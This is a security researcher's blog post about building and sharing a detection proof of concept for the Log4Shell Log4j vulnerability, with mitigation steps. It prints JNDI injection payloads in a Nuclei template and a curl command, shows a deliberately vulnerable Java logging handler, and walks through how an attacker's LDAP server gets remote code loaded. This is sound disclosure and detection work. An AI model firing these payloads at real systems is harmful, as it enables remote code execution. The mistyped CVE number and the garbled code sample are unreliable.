How I built the PoC for the Log4j zero-day security vulnerability

Insights on the first few hours of Log4Shell zero-day, creating and sharing PoC with the community.
TL/DR: A vulnerability in the open-source Apache logging library Log4j had system administrators and security professionals scanning for it and finding remediations a priority. In the past few weeks, the CVE-2021-4428 Apache log4j RCE (Log4shell) vulnerability has impacted hundreds of millions of devices, with ​​major cloud providers such as AWS and Azure. It has just scratched the surface of affected companies and applications. I (Mohamed Elbadry, a Security Researcher) outline how I built the PoC, how it works, and why it matters.

Building the PoC

On Friday, 10 Dec, at about 2 am, I saw a Facebook Post about a zero-day vulnerability affecting log4j. When I decided to check this vulnerability, my eyes landed on this blog. It made me wonder about the chances of common headers such as “User-Agent” being logged with Log4j. To test my initial thoughts, I used ugly-duckling and Burp Collaborator to see that if I got a DNS request, that means that headers are logged by a vulnerable Log4j package.
After creating a module for ugly-duckling and using a Burp Collaborator server to detect DNS interaction using this payload ${jndi:ldap://} I ran the module against a few bug bounty programs. That is when I stared at the screen with my body shaking. It started generating too many hits. I thought something went very wrong.
I reached out to my friend Sebastian Wieseler, a HackerOne ambassador, and I asked him to confirm some of my findings, as I did not believe this vulnerability would be that widespread. Sebastian confirmed my findings, so I disclosed these issues to the affected programs.

Unbounce Zero-Day

Sharing the PoC

That is why I had to share the PoC ASAP and reported this to Detectify on 2021-12-10, 04:57 AM, to help secure Detectify customers' assets. I decided to create a Nuclei template and share it with the community. On 2021-12-10, 2.24 PM, I created a Pull request on nuclei-templates repository. The initial template was able to detect DNS interaction as PoC. Thanks to the great community, the template changed a few times to be able to detect vulnerable hosts reliably.

Initial Nuclei Template

id: CVE-2021-44228
name: Remote code injection in Log4j
author: melbadry9
severity: critical
description: Log4j versions prior to 2.15.0 are subject to a remote code execution vulnerability via the ldap JNDI parser.
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
User-Agent: ${jndi:ldap://{{interactsh-url}}/a}
Referer: ${jndi:ldap://{{interactsh-url}}/a}
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
- "dns"

How an attacker could exploit this vulnerability

CVE-2021–44228 has been assigned the highest critical severity rating with a risk score of 10 out of 10. Tech players, including Amazon Web Services, Microsoft, Cisco, Google Cloud, and IBM have all found that at least some of their services were vulnerable and had been rushing to issue fixes and advise customers about how to best proceed. On Monday, The UK's National Cyber Security Centre emphasized that enterprises need to “discover unknown instances of Log4j” in addition to patching the usual suspects. The exact extent of the exposure is still coming into view.
// import vulnerable log4j package
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.*;
public class LogUserInput implements HttpHandler {
// This is not a full example.
// HTTP endpoint that reads the request's user-id header then logs its value.
// @param ro HTTP Request Object
// initiate logger
static Logger log = LogManager.getLogger(LogUserInput.class.getName());
public void handle(HttpExchange ro) throws IOException {
// Reads user-id header
String UserID = ro.getRequestHeader("User-ID");
// Vulnerable line which leads to RCE by logging the user-controlled HTTP header.
// The malicious user can set User-ID to: ${jndi:ldap://}"Requested from User with id :{}", UserID);
String response = "<h1>User ID: " + UserID + "!</h1>";
ro.sendResponseHeaders(200, response.length());
OutputStream os = ro.getResponseBody();
  1. 1.
    Data, under user control, is sent to the server, in this case, the “User-ID” header. curl –H "User-ID: \${jndi:ldap://}"
  2. 2.
    Application logs header User-ID, containing the malicious payload ${jndi:ldap://}
  3. 3.
    Log4Shell vulnerability gets triggered, and the application server sends a request to thanks to JNDI.
  4. 4.
    The attacker LDAP server response contains a path to the Java class file.
Response format:
javaClassName: <class name>
javaCodeBase: <base URL>
objectClass: javaNamingReference
javaFactory: <file base>
After downloading JavaCodeBase, the Java class is loaded into memory and injected into the server process to be executed.

Risks that come with the Log4j vuln

The impact of CVE-2021-4428 (Log4Shell) is huge as Log4j is a very common logging library used in almost every Java application. The vulnerability can be escalated to RCE, meaning that malicious actors can execute commands on the affected server or application. The vulnerability seemed to exist for a long time without security researchers' detection until Nov 24.
Developers tend to use logging frameworks to handle formatting messages and logging data. In this case, they used Log4j as a logging framework. The downside is that Log4j 2.0 included support for lookups, which included JNDI lookups, and these lookups have not been handled properly from a security perspective, which caused this vulnerability.
The Java Naming and Directory Interface (JNDI) is a Java API for a directory service that interfaces with LDAP or DNS to look up resources. One of the data that is allowed is URI which redirects to a Java class, which means whatever code is in that class is executed.
This vulnerability (Log4Shell) is now every tech company's priority as it has been used by malicious actors to spread ransomware and crypto-mining malware.
Given how common cloud providers are affected by this vulnerability, constant detection of the vulnerability through automation is very crucial to get ahead of these malicious actors to prevent any future breaches.

Vulnerable versions

· log4j v2​ (2.0-beta9 <= Apache log4j <= 2.15.0)
This vulnerability affects every application that uses the vulnerable version of the Java log4j package “log4j-core”. Other languages are also affected, for instance, Scala, Groovy as these languages use vulnerable logging packages such as log4j-api, log4j-core, log4j-slf4j-impl. V1 is also vulnerable to another RCE (CVE-2021-4104) but not CVE-2021-44228, as described here under mitigation for CVE-2021-44228.

Immediate mitigation methods

Java 8: Update Log4J to the latest 2.17.0, which will disable JNDI by default and remove support for Message Lookups, and fix the DOS (Denial of Service) attack - CVE-2021-45105 Java 7: Upgrade to release 2.12.2

Other mitigation:

  • Remove the JndiLookup class from the classpath
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  • Using hotpatch-for-apache-log4j2, which injects a Java agent into a running JVM process. The agent will attempt to patch the lookup() method of all loaded org.apache.logging.log4j.core.lookup.JndiLookup instances to unconditionally return the string "Patched JndiLookup::lookup()"

Just the tip of the iceberg

More companies will be affected, and some companies will be compromised or breached. People will discover the long tail of new vulnerable software as they think of new places to inject payloads. The scariest part of Log4Shell is how many organizations don’t even realize that they have systems at risk.
This vulnerability confirmed the infosec community's concern about using vulnerable third-party dependencies and the importance of scanning and monitoring services in alerting new threats. That is when crowdsource-based security companies’ roles kick in, such as Detectify and how it has handled this Zero-Day vulnerability.